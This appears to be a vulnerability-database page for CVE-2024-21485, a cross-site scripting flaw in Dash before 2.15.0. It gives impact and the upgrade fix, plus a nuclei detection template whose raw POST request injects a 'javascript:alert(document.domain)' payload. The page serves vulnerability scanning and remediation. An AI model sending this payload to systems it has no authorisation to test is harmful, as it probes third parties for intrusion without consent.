Browse / CVEs / CVE-2024-21485
CVE-2024-21485· CWE-79
Dash Framework - Cross-site Scripting
mediumseverity
5.4CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it
Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
Impact
Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
Fix
Upgrade to dash version 2.15.0 or later
How to confirm it
Send: GET /
Positive when: contains "dash-core-components" or "_dash-component-suites"
Send: POST /_dash-update-component
Positive when: contains "props" and "children" and "type" and "javascript:alert(document.domain)" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2024-21485 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-21485
info:
name: Dash Framework - Cross-site Scripting
author: Lee Changhyun(eeche)
severity: medium
description: |
Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-21485
impact: |
Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
remediation: |
Upgrade to dash version 2.15.0 or later
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-21485
cwe-id: CWE-79
epss-score: 0.01487
epss-percentile: 0.74271
cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:*
metadata:
max-request: 2
tags: cve,cve2024,dash,xss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "dash-core-components"
- "_dash-component-suites"
condition: or
internal: true
- raw:
- |
POST /_dash-update-component HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "props"
- "children"
- "type"
- "javascript:alert(document.domain)"
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from